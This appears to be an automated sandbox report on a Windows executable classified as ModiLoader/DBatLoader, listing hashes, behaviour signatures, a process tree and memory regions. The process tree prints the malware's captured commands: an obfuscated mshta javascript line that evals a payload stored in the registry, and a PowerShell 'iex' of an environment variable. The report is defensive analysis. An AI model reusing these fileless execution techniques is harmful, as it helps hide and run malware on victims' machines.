Analysis

  • max time kernel
    111s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/11/2024, 11:55

General

  • Target

    3b3a707501cefa1872cd1901b1c66254c642377ce0c0777396c1365927ee3875N.exe

  • Size

    296KB

  • MD5

    0476d74140af58372f0367b8b7bd4230

  • SHA1

    3bb996986e3313d2753c2820c43531860b0e6752

  • SHA256

    3b3a707501cefa1872cd1901b1c66254c642377ce0c0777396c1365927ee3875

  • SHA512

    0854856afff7f1dbf7e70e853ee2e96ca8af8f72e4db6520871a97a26475765851e4922902be22693c71813ce4fba99223bfff27029bf9b4f280b9196d32b642

  • SSDEEP

    6144:5BYcOm8AYpto8hoXp3RMneCLjjWzuDHMyiOOk:YcV8ftVo53aneUvjb

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3b3a707501cefa1872cd1901b1c66254c642377ce0c0777396c1365927ee3875N.exe
    "C:\Users\Admin\AppData\Local\Temp\3b3a707501cefa1872cd1901b1c66254c642377ce0c0777396c1365927ee3875N.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5072
    • C:\Users\Admin\AppData\Local\Temp\3b3a707501cefa1872cd1901b1c66254c642377ce0c0777396c1365927ee3875N.exe
      "C:\Users\Admin\AppData\Local\Temp\3b3a707501cefa1872cd1901b1c66254c642377ce0c0777396c1365927ee3875N.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1296
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:i3pwfbDJ="XNDnAueIMj";S5H=new%20ActiveXObject("WScript.Shell");wDS6hZX="4RxTZ9Htn";O3WYh=S5H.RegRead("HKLM\\software\\Wow6432Node\\CJOpVV3scQ\\vlKqEb7zC");m9fsnzTm="qC5vTGjQS";eval(O3WYh);bMIu9ng="hjwkhz0";
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3836
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:ntyyx
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2180

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1sgzwtbu.nr5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1296-40-0x0000000000540000-0x0000000000602000-memory.dmp

    Filesize

    776KB

  • memory/1296-4-0x0000000000400000-0x0000000000436000-memory.dmp

    Filesize

    216KB

  • memory/1296-9-0x0000000000400000-0x0000000000436000-memory.dmp

    Filesize

    216KB

  • memory/1296-11-0x0000000000540000-0x0000000000602000-memory.dmp

    Filesize

    776KB

  • memory/1296-10-0x0000000000540000-0x0000000000602000-memory.dmp

    Filesize

    776KB

  • memory/1296-12-0x0000000000540000-0x0000000000602000-memory.dmp

    Filesize

    776KB

  • memory/1296-15-0x0000000000540000-0x0000000000602000-memory.dmp

    Filesize

    776KB

  • memory/1296-14-0x0000000000540000-0x0000000000602000-memory.dmp

    Filesize

    776KB

  • memory/1296-13-0x0000000000540000-0x0000000000602000-memory.dmp

    Filesize

    776KB

  • memory/1296-16-0x0000000000540000-0x0000000000602000-memory.dmp

    Filesize

    776KB

  • memory/2180-19-0x0000000005050000-0x0000000005678000-memory.dmp

    Filesize

    6.2MB

  • memory/2180-18-0x0000000002560000-0x0000000002596000-memory.dmp

    Filesize

    216KB

  • memory/2180-21-0x0000000005680000-0x00000000056E6000-memory.dmp

    Filesize

    408KB

  • memory/2180-22-0x0000000005760000-0x00000000057C6000-memory.dmp

    Filesize

    408KB

  • memory/2180-20-0x0000000004EF0000-0x0000000004F12000-memory.dmp

    Filesize

    136KB

  • memory/2180-32-0x00000000057D0000-0x0000000005B24000-memory.dmp

    Filesize

    3.3MB

  • memory/2180-33-0x0000000005CA0000-0x0000000005CBE000-memory.dmp

    Filesize

    120KB

  • memory/2180-34-0x0000000005CD0000-0x0000000005D1C000-memory.dmp

    Filesize

    304KB

  • memory/2180-35-0x00000000074E0000-0x0000000007B5A000-memory.dmp

    Filesize

    6.5MB

  • memory/2180-36-0x00000000061A0000-0x00000000061BA000-memory.dmp

    Filesize

    104KB

  • memory/5072-3-0x0000000002D70000-0x0000000002D80000-memory.dmp

    Filesize

    64KB

  • memory/5072-38-0x0000000002D70000-0x0000000002D80000-memory.dmp

    Filesize

    64KB

  • memory/5072-37-0x0000000002D70000-0x0000000002D80000-memory.dmp

    Filesize

    64KB

  • memory/5072-2-0x0000000002D70000-0x0000000002D80000-memory.dmp

    Filesize

    64KB